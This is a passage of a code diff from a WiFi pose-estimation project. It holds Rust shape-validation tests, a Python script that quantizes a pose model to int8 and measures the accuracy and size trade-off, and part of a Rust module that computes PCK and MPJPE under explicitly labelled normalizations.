let too_many = cfg.num_frames * 2 + 1;
|
||||
let past = Tensor::zeros(
|
||||
(1usize, too_many, cfg.grid_h, cfg.grid_w, cfg.grid_d),
|
||||
DType::U8,
|
||||
&device,
|
||||
)
|
||||
.unwrap();
|
||||
let result = engine.predict(&past);
|
||||
assert!(
|
||||
matches!(result, Err(OccWorldError::ShapeMismatch(_))),
|
||||
"over-capacity frame count must be rejected with ShapeMismatch"
|
||||
);
|
||||
}
|
||||
|
||||
/// A frame count exactly at capacity (`num_frames*2`) must still succeed —
|
||||
/// the guard rejects only *over*-capacity, not the boundary value.
|
||||
#[test]
|
||||
fn predict_accepts_frame_count_at_capacity() {
|
||||
let device = Device::Cpu;
|
||||
let cfg = small_cfg();
|
||||
let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
|
||||
let at_cap = cfg.num_frames * 2;
|
||||
let past = Tensor::zeros(
|
||||
(1usize, at_cap, cfg.grid_h, cfg.grid_w, cfg.grid_d),
|
||||
DType::U8,
|
||||
&device,
|
||||
)
|
||||
.unwrap();
|
||||
let out = engine
|
||||
.predict(&past)
|
||||
.expect("at-capacity frame count must predict");
|
||||
assert_eq!(out.sem_pred.dims()[1], at_cap, "frame dim preserved");
|
||||
}
|
||||
|
||||
/// Wrong spatial geometry (H/W/D) is still rejected — pins the pre-existing
|
||||
/// guard alongside the new frame/batch ones.
|
||||
#[test]
|
||||
fn predict_rejects_wrong_grid_dims() {
|
||||
let device = Device::Cpu;
|
||||
let cfg = small_cfg();
|
||||
let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
|
||||
let past = Tensor::zeros(
|
||||
(1usize, cfg.num_frames, cfg.grid_h + 1, cfg.grid_w, cfg.grid_d),
|
||||
DType::U8,
|
||||
&device,
|
||||
)
|
||||
.unwrap();
|
||||
let result = engine.predict(&past);
|
||||
assert!(
|
||||
matches!(result, Err(OccWorldError::ShapeMismatch(_))),
|
||||
"wrong grid dims must be rejected with ShapeMismatch"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
#!/usr/bin/env python3
|
||||
"""ADR-175: int8 quantization of the WiFlow-STD "half" pose model + MEASURED accuracy/size trade-off.
|
||||
|
||||
Sub-deliverable 8.2 of the benchmark/optimization milestone. Quantizes the 843,834-param
|
||||
"half" WiFlow-STD pose model to int8 (QAT primary, static-PTQ fallback) and MEASURES the
|
||||
accuracy delta against the fp32 baseline under ONE locked PCK normalization.
|
||||
|
||||
LOCKED NORMALIZATION (ADR-173): torso-diameter PCK — neck(idx 2)->pelvis(idx 12) distance,
|
||||
exactly the default `use_torso_norm=True` path of upstream `utils/metrics.calculate_pck`,
|
||||
which is the standard MM-Fi/GraphPose-Fi convention. The SAME `calculate_pck` /
|
||||
`calculate_mpjpe` from the upstream harness scores BOTH fp32 and int8 so the comparison is
|
||||
metric-locked. The test split is the seed-42 file-level 70/15/15 test partition (54,000
|
||||
windows full / 52,560 NaN-free) produced by the SAME loader that produced half_best.pth.
|
||||
|
||||
int8 backend: FX graph-mode quantization, fbgemm engine (server x86 int8). Quantized int8
|
||||
kernels execute on CPU, so int8 eval is CPU; an fp32-CPU baseline is also measured so the
|
||||
accuracy delta is device-matched (CPU fp32 vs CPU int8), and an fp32-GPU number is reported
|
||||
for continuity with the sweep's recorded numbers.
|
||||
|
||||
REPRODUCE (exact command run for ADR-175, run date 2026-06-15, on host ruvultra / RTX 5080):
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
|
||||
(the script lives in-repo at v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py;
|
||||
it was scp'd to ~/quantize_half_int8.py on ruvultra and invoked as above. It is read-only
|
||||
to everything under ~/wiflow-std-bench except that it WRITES its int8 artifacts + a JSON
|
||||
results file into ~/wiflow-std-bench/sweep/int8/ — it never modifies half_best.pth or any
|
||||
upstream file.)
|
||||
|
||||
Everything this script prints to stdout is MEASURED. Nothing is estimated.
|
||||
"""
|
||||
import argparse
|
||||
import copy
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import time
|
||||
|
||||
import numpy as np
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
from torch.utils.data import DataLoader, Subset
|
||||
|
||||
BENCH = os.path.expanduser('~/wiflow-std-bench')
|
||||
SWEEP = os.path.join(BENCH, 'sweep')
|
||||
OUTDIR = os.path.join(SWEEP, 'int8')
|
||||
sys.path.insert(0, os.path.join(BENCH, 'upstream'))
|
||||
sys.path.insert(0, SWEEP)
|
||||
|
||||
from dataset import (PreprocessedCSIKeypointsDataset, # noqa: E402
|
||||
create_preprocessed_train_val_test_loaders)
|
||||
from losses.pose_loss import PoseLoss # noqa: E402
|
||||
from utils.metrics import calculate_pck, calculate_mpjpe # noqa: E402 LOCKED metric (torso norm)
|
||||
from model_compact import CompactWiFlowPoseModel, describe # noqa: E402
|
||||
|
||||
# half variant config — IDENTICAL to sweep/run_sweep.py VARIANTS[0] that produced half_best.pth
|
||||
HALF = dict(tcn=[270, 220, 170, 120], conv=[4, 8, 16, 32], attn_groups=4,
|
||||
groups_mode='gcd20', input_pw_groups=1)
|
||||
HALF_CKPT = os.path.join(SWEEP, 'half_best.pth')
|
||||
CORRUPT_FILE_START = 487 # files 487-499 were zero-filled by clean_nan.py (same as sweep)
|
||||
SEED = 42
|
||||
THRESHOLDS = (0.1, 0.2, 0.3, 0.4, 0.5) # PCK@10..50
|
||||
|
||||
|
||||
def set_seed(seed=SEED):
|
||||
random.seed(seed)
|
||||
np.random.seed(seed)
|
||||
torch.manual_seed(seed)
|
||||
torch.cuda.manual_seed_all(seed)
|
||||
torch.backends.cudnn.deterministic = True
|
||||
torch.backends.cudnn.benchmark = False
|
||||
|
||||
|
||||
def build_half(dropout=0.5):
|
||||
return CompactWiFlowPoseModel(
|
||||
tcn_channels=HALF['tcn'], conv_channels=HALF['conv'],
|
||||
attn_groups=HALF['attn_groups'], groups_mode=HALF['groups_mode'],
|
||||
input_pw_groups=HALF['input_pw_groups'], dropout=dropout)
|
||||
|
||||
|
||||
@torch.no_grad()
|
||||
def evaluate(model, loader, device):
|
||||
"""MEASURED PCK@10..50 + MPJPE under the LOCKED torso-diameter normalization."""
|
||||
model.eval()
|
||||
totals = {t: 0.0 for t in THRESHOLDS}
|
||||
total_mpe, n = 0.0, 0
|
||||
for bx, by in loader:
|
||||
bx, by = bx.to(device), by.to(device)
|
||||
out = model(bx)
|
||||
bs = by.size(0)
|
||||
total_mpe += calculate_mpjpe(out, by) * bs
|
||||
pck = calculate_pck(out, by, thresholds=list(totals)) # use_torso_norm=True default
|
||||
for t in totals:
|
||||
totals[t] += pck[t] * bs
|
||||
n += bs
|
||||
return {'samples': n, 'mpjpe': total_mpe / n,
|
||||
**{f'pck@{int(t * 100)}': totals[t] / n for t in totals}}
|
||||
|
||||
|
||||
def file_size_mb(path):
|
||||
return os.path.getsize(path) / (1024 * 1024)
|
||||
|
||||
|
||||
def state_dict_size_mb(model, path):
|
||||
"""On-disk size of the *quantized* checkpoint (int8 weights are packed by fbgemm)."""
|
||||
torch.save(model.state_dict(), path)
|
||||
return file_size_mb(path)
|
||||
|
||||
|
||||
def loaders():
|
||||
set_seed(SEED)
|
||||
data_dir = os.path.join(BENCH, 'preprocessed_csi_data')
|
||||
dataset = PreprocessedCSIKeypointsDataset(data_dir=data_dir, keypoint_scale=1000.0,
|
||||
enable_temporal_clean=True)
|
||||
train_loader, val_loader, test_loader = create_preprocessed_train_val_test_loaders(
|
||||
dataset=dataset, batch_size=64, num_workers=2, random_seed=SEED)
|
||||
return dataset, train_loader, val_loader, test_loader
|
||||
|
||||
|
||||
def clean_loader_from(dataset, test_loader, bs=256):
|
||||
w2f = dataset.window_to_file
|
||||
clean_idx = [i for i in test_loader.dataset.indices if w2f[i] < CORRUPT_FILE_START]
|
||||
return DataLoader(Subset(dataset, clean_idx), batch_size=bs, shuffle=False, num_workers=2)
|
||||
|
||||
|
||||
def eval_loaders(dataset, test_loader, bs=256):
|
||||
full = DataLoader(test_loader.dataset, batch_size=bs, shuffle=False, num_workers=2)
|
||||
clean = clean_loader_from(dataset, test_loader, bs=bs)
|
||||
return full, clean
|
||||
|
||||
|
||||
# --------------------------------------------------------------- int8 paths (FX graph mode)
|
||||
def ptq_static(fp32_model, train_loader, calib_batches=64):
|
||||
"""Static post-training quantization, FX graph mode, fbgemm. CPU int8."""
|
||||
from torch.ao.quantization import get_default_qconfig, QConfigMapping
|
||||
from torch.ao.quantization.quantize_fx import prepare_fx, convert_fx
|
||||
torch.backends.quantized.engine = 'fbgemm'
|
||||
m = copy.deepcopy(fp32_model).cpu().eval()
|
||||
qconfig = get_default_qconfig('fbgemm')
|
||||
qmap = QConfigMapping().set_global(qconfig)
|
||||
example = torch.randn(1, 540, 20)
|
||||
prepared = prepare_fx(m, qmap, example_inputs=(example,))
|
||||
prepared.eval()
|
||||
with torch.no_grad():
|
||||
for i, (bx, _) in enumerate(train_loader):
|
||||
prepared(bx.cpu())
|
||||
if i + 1 >= calib_batches:
|
||||
break
|
||||
return convert_fx(prepared)
|
||||
|
||||
|
||||
def qat(fp32_model, train_loader, val_loader, device, epochs=3, lr=2e-5):
|
||||
"""Quantization-aware training, FX graph mode, fbgemm. Fine-tune fake-quant from fp32, convert. CPU int8."""
|
||||
from torch.ao.quantization import get_default_qat_qconfig, QConfigMapping
|
||||
from torch.ao.quantization.quantize_fx import prepare_qat_fx, convert_fx
|
||||
torch.backends.quantized.engine = 'fbgemm'
|
||||
set_seed(SEED)
|
||||
m = copy.deepcopy(fp32_model).to(device).train()
|
||||
qconfig = get_default_qat_qconfig('fbgemm')
|
||||
qmap = QConfigMapping().set_global(qconfig)
|
||||
example = torch.randn(1, 540, 20).to(device)
|
||||
prepared = prepare_qat_fx(m, qmap, example_inputs=(example,))
|
||||
prepared.to(device)
|
||||
|
||||
criterion = PoseLoss(position_weight=1.0, bone_weight=0.2, loss_type='smooth_l1')
|
||||
opt = torch.optim.AdamW(prepared.parameters(), lr=lr, weight_decay=5e-5, betas=(0.9, 0.999))
|
||||
|
||||
best_val = float('inf')
|
||||
best_state = None
|
||||
for ep in range(1, epochs + 1):
|
||||
prepared.train()
|
||||
t0 = time.time()
|
||||
ep_loss, nb = 0.0, 0
|
||||
for bx, by in train_loader:
|
||||
bx, by = bx.to(device), by.to(device)
|
||||
opt.zero_grad(set_to_none=True)
|
||||
out = prepared(bx)
|
||||
loss, _ = criterion(out, by)
|
||||
if not torch.isfinite(loss):
|
||||
continue
|
||||
loss.backward()
|
||||
opt.step()
|
||||
ep_loss += loss.item()
|
||||
nb += 1
|
||||
# eval the fake-quant model on GPU (proxy for int8) to pick the best epoch
|
||||
prepared.eval()
|
||||
v = evaluate(prepared, val_loader, device)
|
||||
print(f"[qat] epoch {ep}/{epochs} train_loss={ep_loss / max(nb,1):.5f} "
|
||||
f"val_mpjpe(fakequant)={v['mpjpe']:.5f} val_pck20={v['pck@20']*100:.2f}% "
|
||||
f"({time.time()-t0:.0f}s)", flush=True)
|
||||
if v['mpjpe'] < best_val:
|
||||
best_val = v['mpjpe']
|
||||
best_state = copy.deepcopy(prepared.state_dict())
|
||||
if best_state is not None:
|
||||
prepared.load_state_dict(best_state)
|
||||
prepared.cpu().eval()
|
||||
return convert_fx(prepared)
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument('--mode', choices=['ptq', 'qat', 'both'], default='both')
|
||||
ap.add_argument('--qat-epochs', type=int, default=3)
|
||||
ap.add_argument('--calib-batches', type=int, default=64)
|
||||
args = ap.parse_args()
|
||||
os.makedirs(OUTDIR, exist_ok=True)
|
||||
|
||||
cuda = torch.device('cuda')
|
||||
cpu = torch.device('cpu')
|
||||
print(f"torch {torch.__version__} | cuda {torch.cuda.get_device_name(0)} | "
|
||||
f"quantized.engine candidates {torch.backends.quantized.supported_engines}", flush=True)
|
||||
|
||||
dataset, train_loader, val_loader, test_loader = loaders()
|
||||
test_full, test_clean = eval_loaders(dataset, test_loader)
|
||||
|
||||
# ---------- fp32 baseline (loads half_best.pth strict; same arch as sweep) ----------
|
||||
fp32 = build_half().eval()
|
||||
state = torch.load(HALF_CKPT, map_location='cpu', weights_only=True)
|
||||
fp32.load_state_dict(state, strict=True)
|
||||
fp32_size = file_size_mb(HALF_CKPT)
|
||||
params = describe(fp32)['params']
|
||||
print(f"\n=== fp32 baseline: half_best.pth | params={params:,} | "
|
||||
f"on-disk={fp32_size:.3f} MB ===", flush=True)
|
||||
|
||||
results = {
|
||||
'host': os.uname().nodename, 'gpu': torch.cuda.get_device_name(0),
|
||||
'torch': torch.__version__, 'date_utc': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
|
||||
'locked_normalization': 'torso-diameter (neck idx2 -> pelvis idx12), '
|
||||
'upstream calculate_pck use_torso_norm=True (ADR-173 standard)',
|
||||
'checkpoint': HALF_CKPT, 'params': params, 'fp32_size_mb': fp32_size,
|
||||
'test_split': 'seed-42 file-level 70/15/15 test (full 54000 / clean 52560)',
|
||||
'fp32': {}, 'int8': {},
|
||||
}
|
||||
|
||||
fp32_gpu = build_half().to(cuda).eval()
|
||||
fp32_gpu.load_state_dict(state, strict=True)
|
||||
print('[fp32/gpu] full ...', flush=True)
|
||||
results['fp32']['gpu_full'] = evaluate(fp32_gpu, test_full, cuda)
|
||||
print(json.dumps(results['fp32']['gpu_full']), flush=True)
|
||||
print('[fp32/gpu] clean ...', flush=True)
|
||||
results['fp32']['gpu_clean'] = evaluate(fp32_gpu, test_clean, cuda)
|
||||
print(json.dumps(results['fp32']['gpu_clean']), flush=True)
|
||||
|
||||
print('[fp32/cpu] full (device-matched ref for int8) ...', flush=True)
|
||||
results['fp32']['cpu_full'] = evaluate(fp32.to(cpu), test_full, cpu)
|
||||
print(json.dumps(results['fp32']['cpu_full']), flush=True)
|
||||
print('[fp32/cpu] clean ...', flush=True)
|
||||
results['fp32']['cpu_clean'] = evaluate(fp32.to(cpu), test_clean, cpu)
|
||||
print(json.dumps(results['fp32']['cpu_clean']), flush=True)
|
||||
|
||||
# ---------- int8 ----------
|
||||
def measure_int8(label, qmodel):
|
||||
path = os.path.join(OUTDIR, f'half_int8_{label}.pth')
|
||||
size = state_dict_size_mb(qmodel, path)
|
||||
print(f"[int8/{label}] on-disk={size:.3f} MB | full ...", flush=True)
|
||||
full = evaluate(qmodel, test_full, cpu)
|
||||
print(json.dumps(full), flush=True)
|
||||
print(f"[int8/{label}] clean ...", flush=True)
|
||||
clean = evaluate(qmodel, test_clean, cpu)
|
||||
print(json.dumps(clean), flush=True)
|
||||
results['int8'][label] = {'size_mb': size, 'checkpoint': path,
|
||||
'cpu_full': full, 'cpu_clean': clean}
|
||||
|
||||
if args.mode in ('ptq', 'both'):
|
||||
print("\n=== int8 PTQ (static, FX, fbgemm) ===", flush=True)
|
||||
qp = ptq_static(fp32.to(cpu).eval(), train_loader, calib_batches=args.calib_batches)
|
||||
measure_int8('ptq_static', qp)
|
||||
|
||||
if args.mode in ('qat', 'both'):
|
||||
print(f"\n=== int8 QAT (FX, fbgemm, {args.qat_epochs} epochs from half_best) ===", flush=True)
|
||||
qq = qat(fp32, train_loader, val_loader, cuda, epochs=args.qat_epochs)
|
||||
measure_int8('qat', qq)
|
||||
|
||||
out = os.path.join(OUTDIR, 'int8_results.json')
|
||||
with open(out, 'w') as f:
|
||||
json.dump(results, f, indent=2)
|
||||
print('\nwrote', out, flush=True)
|
||||
|
||||
# ---------- comparison table (MEASURED) ----------
|
||||
print("\n================= MEASURED COMPARISON (clean test subset, torso-PCK) =================", flush=True)
|
||||
base = results['fp32']['cpu_clean']
|
||||
print(f"{'model':16s} {'size_MB':>8s} {'pck@20':>8s} {'pck@50':>8s} {'mpjpe':>9s}", flush=True)
|
||||
print(f"{'fp32 (cpu)':16s} {fp32_size:8.3f} {base['pck@20']*100:7.2f}% {base['pck@50']*100:7.2f}% {base['mpjpe']:9.6f}", flush=True)
|
||||
for label, r in results['int8'].items():
|
||||
c = r['cpu_clean']
|
||||
d20 = (c['pck@20'] - base['pck@20']) * 100
|
||||
d50 = (c['pck@50'] - base['pck@50']) * 100
|
||||
print(f"{'int8 '+label:16s} {r['size_mb']:8.3f} {c['pck@20']*100:7.2f}% {c['pck@50']*100:7.2f}% {c['mpjpe']:9.6f} "
|
||||
f"(d_pck20={d20:+.2f}pp d_pck50={d50:+.2f}pp size={fp32_size/r['size_mb']:.2f}x smaller)", flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,708 @@
|
||||
//! Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173).
|
||||
//!
|
||||
//! # Why this module exists
|
||||
//!
|
||||
//! Three PCK\@20 numbers float around this project and **cannot be lined up**
|
||||
//! because each silently uses a *different* PCK definition:
|
||||
//!
|
||||
//! | Number | Source | PCK normalization |
|
||||
//! |--------|--------|-------------------|
|
||||
//! | 96.09 % | WiFlow-STD reproduction | image / bounding-box normalized (looser) |
|
||||
//! | 81.63 % | AetherArena MM-Fi (ADR-150) | torso-diameter (standard MM-Fi / GraphPose-Fi) |
|
||||
//! | 61.1 % | GraphPose-Fi (preprint) | torso-diameter, 3D, mm-scale (harder) |
|
||||
//!
|
||||
//! The project was burned **twice** by metric ambiguity (a now-retracted "92.9 %
|
||||
//! PCK\@20" used *absolute* pixel thresholds, not torso normalization). The fix
|
||||
//! is to make the normalizer **explicit, selectable, and carried with every
|
||||
//! reported number** so an unlabeled PCK figure is structurally impossible.
|
||||
//!
|
||||
//! [`metrics_core`](crate::metrics_core) already pins the *canonical*
|
||||
//! torso-normalized PCK ([`pck_canonical`](crate::metrics_core::pck_canonical)).
|
||||
//! This module generalizes it to a [`PckNormalization`] enum covering all three
|
||||
//! conventions the SOTA brief names, adds [`mpjpe`] (mm), and bundles results
|
||||
//! into a self-describing [`PoseAccuracy`] struct. It **reuses** the
|
||||
//! `metrics_core` primitives (hip distance, bounding-box diagonal) — there is
|
||||
//! still exactly one implementation of each geometric reference.
|
||||
//!
|
||||
//! # This is measurement infrastructure, not an accuracy claim
|
||||
//!
|
||||
//! Nothing here asserts any project model is good. The unit tests prove the
|
||||
//! *harness* is arithmetically correct against hand-computed fixtures (no GPU,
|
||||
//! no datasets), including the key demonstration that the **same predictions
|
||||
//! score different PCK under the three normalizations** — proof the ambiguity is
|
||||
//! real and the definitions are genuinely distinct.
|
||||
//!
|
||||
//! # Literature
|
||||
//!
|
||||
//! - Torso-diameter PCK is the MM-Fi / GraphPose-Fi convention (Yang et al.,
|
||||
//! *GraphPose-Fi*, arXiv:2511.19105): a keypoint is correct iff its error is
|
||||
//! within `k · d_torso`, with `d_torso` the hip↔hip (or shoulder↔hip) span.
|
||||
//! - Bounding-box / image-normalized PCK is the WiFlow-STD-style looser
|
||||
//! convention (arXiv:2602.08661) — normalize by the GT pose bbox diagonal.
|
||||
//! - MPJPE (mean per-joint position error, mm) is reported by GraphPose-Fi and
|
||||
//! Person-in-WiFi-3D (Yan et al., CVPR 2024).
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use ndarray::{Array1, Array2};
|
||||
|
||||
use crate::metrics_core::{
|
||||
bounding_box_diagonal, CANON_LEFT_HIP, CANON_RIGHT_HIP,
|
||||
};
|
||||
|
||||
/// Visibility cutoff: a keypoint counts as *visible* iff `visibility[j] >= 0.5`
|
||||
/// (COCO convention; matches [`crate::metrics_core`]).
|
||||
const VISIBILITY_THRESHOLD: f32 = 0.5;
|
||||
|
||||
/// Minimum positive normalizer extent. Below this the reference scale is
|
||||
/// considered degenerate (zero torso, collapsed bbox) and the frame is reported
|
||||
/// unscoreable rather than dividing by ≈0.
|
||||
const MIN_REFERENCE_EXTENT: f32 = 1e-6;
|
||||
|
||||
// ===========================================================================
|
||||
// PCK normalization — the explicit, selectable definition
|
||||
// ===========================================================================
|
||||
|
||||
/// The PCK normalization basis — **the single knob that made three project
|
||||
/// numbers non-comparable**, now explicit and carried with every result.
|
||||
///
|
||||
/// A keypoint `j` (with `visibility[j] >= 0.5`) is *correct* iff
|
||||
/// `‖pred_j − gt_j‖₂ ≤ τ`, where the **distance tolerance `τ`** is derived from
|
||||
/// the chosen normalization and the PCK threshold `k` (given as a percentage,
|
||||
/// e.g. `20` for PCK\@20):
|
||||
///
|
||||
/// | Variant | `τ` (tolerance in coordinate units) |
|
||||
/// |---------|--------------------------------------|
|
||||
/// | [`TorsoDiameter`](Self::TorsoDiameter) | `(k/100) · d_torso` |
|
||||
/// | [`BoundingBoxDiagonal`](Self::BoundingBoxDiagonal) | `(k/100) · d_bbox` |
|
||||
/// | [`AbsolutePixels`](Self::AbsolutePixels) | `threshold` (k ignored) |
|
||||
///
|
||||
/// `d_torso` is the hip↔hip span (COCO joints 11↔12), falling back to the bbox
|
||||
/// diagonal when both hips are not visible — identical to
|
||||
/// [`crate::metrics_core::canonical_torso_size`]. `d_bbox` is the diagonal of
|
||||
/// the axis-aligned bounding box of all visible GT keypoints.
|
||||
///
|
||||
/// These yield **different** PCK on the *same* predictions whenever
|
||||
/// `d_torso ≠ d_bbox` (always true for a real pose: the bbox is larger than the
|
||||
/// hip span), which is exactly why the 96 / 81.6 / 61 numbers cannot be lined
|
||||
/// up without declaring this enum.
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub enum PckNormalization {
|
||||
/// **Torso-diameter** (hip↔hip span). The standard MM-Fi / GraphPose-Fi
|
||||
/// convention and the *stricter* of the two relative normalizers. This is
|
||||
/// the canonical default ([`crate::metrics_core::pck_canonical`]).
|
||||
TorsoDiameter,
|
||||
/// **Bounding-box diagonal** (a.k.a. image-normalized). The looser
|
||||
/// WiFlow-STD-style convention: normalize by the GT pose bbox diagonal,
|
||||
/// which is larger than the torso span ⇒ a more forgiving threshold ⇒ a
|
||||
/// higher PCK on identical predictions.
|
||||
BoundingBoxDiagonal,
|
||||
/// **Absolute pixel/coordinate threshold** — no pose-relative
|
||||
/// normalization. The PCK `k` percentage is ignored; the held `threshold`
|
||||
/// is the raw distance tolerance directly. Included so historical
|
||||
/// retracted-style numbers are reproducible, and **clearly labeled as
|
||||
/// non-comparable** to the relative variants (it does not scale with body
|
||||
/// size or camera distance).
|
||||
AbsolutePixels(f32),
|
||||
}
|
||||
|
||||
impl PckNormalization {
|
||||
/// Human-readable, *self-documenting* label for a reported number — so a
|
||||
/// `PoseAccuracy` printed anywhere always carries its definition.
|
||||
pub fn label(&self) -> String {
|
||||
match self {
|
||||
PckNormalization::TorsoDiameter => "torso-diameter".to_string(),
|
||||
PckNormalization::BoundingBoxDiagonal => "bbox-diagonal".to_string(),
|
||||
PckNormalization::AbsolutePixels(t) => format!("absolute-px({t})"),
|
||||
}
|
||||
}
|
||||
|
||||
/// Compute the per-frame distance tolerance `τ` for PCK threshold `k`
|
||||
/// (percentage). Returns `None` when the (relative) normalizer is degenerate
|
||||
/// — the frame cannot be scored.
|
||||
///
|
||||
/// `gt_kpts` is `[n, 2]` (or `[n, ≥2]`, only x/y used); `visibility` is `[n]`.
|
||||
fn tolerance(&self, gt_kpts: &Array2<f32>, visibility: &Array1<f32>, k: u8) -> Option<f32> {
|
||||
let n = gt_kpts.shape()[0].min(visibility.len());
|
||||
match self {
|
||||
PckNormalization::AbsolutePixels(threshold) => {
|
||||
// Raw tolerance, independent of pose scale and of `k`.
|
||||
if *threshold > 0.0 {
|
||||
Some(*threshold)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
PckNormalization::TorsoDiameter => {
|
||||
let d = torso_diameter(gt_kpts, visibility, n)?;
|
||||
Some((k as f32 / 100.0) * d)
|
||||
}
|
||||
PckNormalization::BoundingBoxDiagonal => {
|
||||
let d = bounding_box_diagonal(gt_kpts, visibility, n);
|
||||
if d > MIN_REFERENCE_EXTENT {
|
||||
Some((k as f32 / 100.0) * d)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Hip↔hip torso diameter with a bbox-diagonal fallback — the relative
|
||||
/// normalizer shared by `TorsoDiameter` PCK and
|
||||
/// [`crate::metrics_core::canonical_torso_size`]. Returns `None` when no
|
||||
/// positive-extent reference exists.
|
||||
fn torso_diameter(gt_kpts: &Array2<f32>, visibility: &Array1<f32>, n: usize) -> Option<f32> {
|
||||
if CANON_LEFT_HIP < n
|
||||
&& CANON_RIGHT_HIP < n
|
||||
&& visibility[CANON_LEFT_HIP] >= VISIBILITY_THRESHOLD
|
||||
&& visibility[CANON_RIGHT_HIP] >= VISIBILITY_THRESHOLD
|
||||
{
|
||||
let dx = gt_kpts[[CANON_LEFT_HIP, 0]] - gt_kpts[[CANON_RIGHT_HIP, 0]];
|
||||
let dy = gt_kpts[[CANON_LEFT_HIP, 1]] - gt_kpts[[CANON_RIGHT_HIP, 1]];
|
||||
let torso = (dx * dx + dy * dy).sqrt();
|
||||
if torso > MIN_REFERENCE_EXTENT {
|
||||
return Some(torso);
|
||||
}
|
||||
}
|
||||
let diag = bounding_box_diagonal(gt_kpts, visibility, n);
|
||||
if diag > MIN_REFERENCE_EXTENT {
|
||||
Some(diag)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Single-frame PCK / MPJPE
|
||||
// ===========================================================================
|
||||
|
||||
/// Per-frame **PCK\@`k`** under the selected `normalization`.
|
||||
///
|
||||
/// A keypoint `j` with `visibility[j] >= 0.5` is correct iff
|
||||
/// `‖pred_j − gt_j‖₂ ≤ τ`, with `τ` from
|
||||
/// [`PckNormalization::tolerance`]. Only x/y are used (2D PCK is the standard
|
||||
/// keypoint-PCK definition; pass 2-column arrays).
|
||||
///
|
||||
/// # Returns
|
||||
/// `(correct, total, pck)` with `pck ∈ [0,1]`. **`(0, 0, 0.0)`** when no
|
||||
/// keypoint is visible, or (for the relative normalizers) the reference scale is
|
||||
/// degenerate — a frame with no measurable evidence scores 0, never 1.
|
||||
/// NaN-valued coordinates make a keypoint *incorrect* (the `<=` comparison is
|
||||
/// false for NaN) rather than panicking.
|
||||
pub fn pck_at(
|
||||
pred_kpts: &Array2<f32>,
|
||||
gt_kpts: &Array2<f32>,
|
||||
visibility: &Array1<f32>,
|
||||
k: u8,
|
||||
normalization: PckNormalization,
|
||||
) -> (usize, usize, f32) {
|
||||
let n = pred_kpts.shape()[0]
|
||||
.min(gt_kpts.shape()[0])
|
||||
.min(visibility.len());
|
||||
let tol = match normalization.tolerance(gt_kpts, visibility, k) {
|
||||
Some(t) => t,
|
||||
None => return (0, 0, 0.0),
|
||||
};
|
||||
|
||||
let mut correct = 0usize;
|
||||
let mut total = 0usize;
|
||||
for j in 0..n {
|
||||
if visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
total += 1;
|
||||
let dx = pred_kpts[[j, 0]] - gt_kpts[[j, 0]];
|
||||
let dy = pred_kpts[[j, 1]] - gt_kpts[[j, 1]];
|
||||
let dist = (dx * dx + dy * dy).sqrt();
|
||||
// NaN-safe: `NaN <= tol` is false, so a NaN coordinate counts as wrong.
|
||||
if dist <= tol {
|
||||
correct += 1;
|
||||
}
|
||||
}
|
||||
let pck = if total > 0 {
|
||||
correct as f32 / total as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
(correct, total, pck)
|
||||
}
|
||||
|
||||
/// Per-frame **MPJPE** (mean per-joint position error) over visible keypoints,
|
||||
/// in the coordinate units of the inputs (report as mm when inputs are mm).
|
||||
///
|
||||
/// `pred`/`gt` are `[n, D]` with `D ∈ {2, 3}` (2D or 3D pose); all `D` columns
|
||||
/// are used. Joints with `visibility[j] < 0.5` are excluded.
|
||||
///
|
||||
/// Returns `0.0` when no keypoint is visible (no evidence). A NaN coordinate
|
||||
/// propagates into the returned mean (callers filter NaN frames upstream); it
|
||||
/// does not panic.
|
||||
pub fn mpjpe(pred: &Array2<f32>, gt: &Array2<f32>, visibility: &Array1<f32>) -> f32 {
|
||||
let n = pred.shape()[0].min(gt.shape()[0]).min(visibility.len());
|
||||
let d = pred.shape()[1].min(gt.shape()[1]);
|
||||
let mut sum = 0.0f32;
|
||||
let mut count = 0usize;
|
||||
for j in 0..n {
|
||||
if visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
let mut sq = 0.0f32;
|
||||
for c in 0..d {
|
||||
let diff = pred[[j, c]] - gt[[j, c]];
|
||||
sq += diff * diff;
|
||||
}
|
||||
sum += sq.sqrt();
|
||||
count += 1;
|
||||
}
|
||||
if count > 0 {
|
||||
sum / count as f32
|
||||
} else {
|
||||
0.0
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Self-describing result struct + batch report
|
||||
// ===========================================================================
|
||||
|
||||
/// A pose-accuracy result that **always carries the definition it was computed
|
||||
/// under** — making an unlabeled PCK number structurally impossible.
|
||||
///
|
||||
/// Built by [`accuracy_report`] over a set of frames. `pck_at` maps each
|
||||
/// requested threshold `k` (percentage, e.g. `20`) to its PCK in `[0,1]`. The
|
||||
/// `normalization` field records *which* PCK definition produced those numbers,
|
||||
/// so two `PoseAccuracy` values can only be compared when their `normalization`
|
||||
/// matches (the comparability check the project lacked).
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct PoseAccuracy {
|
||||
/// PCK\@k for each requested threshold percentage `k`, in `[0,1]`.
|
||||
pub pck_at: BTreeMap<u8, f32>,
|
||||
/// Mean per-joint position error in coordinate units (mm for mm inputs).
|
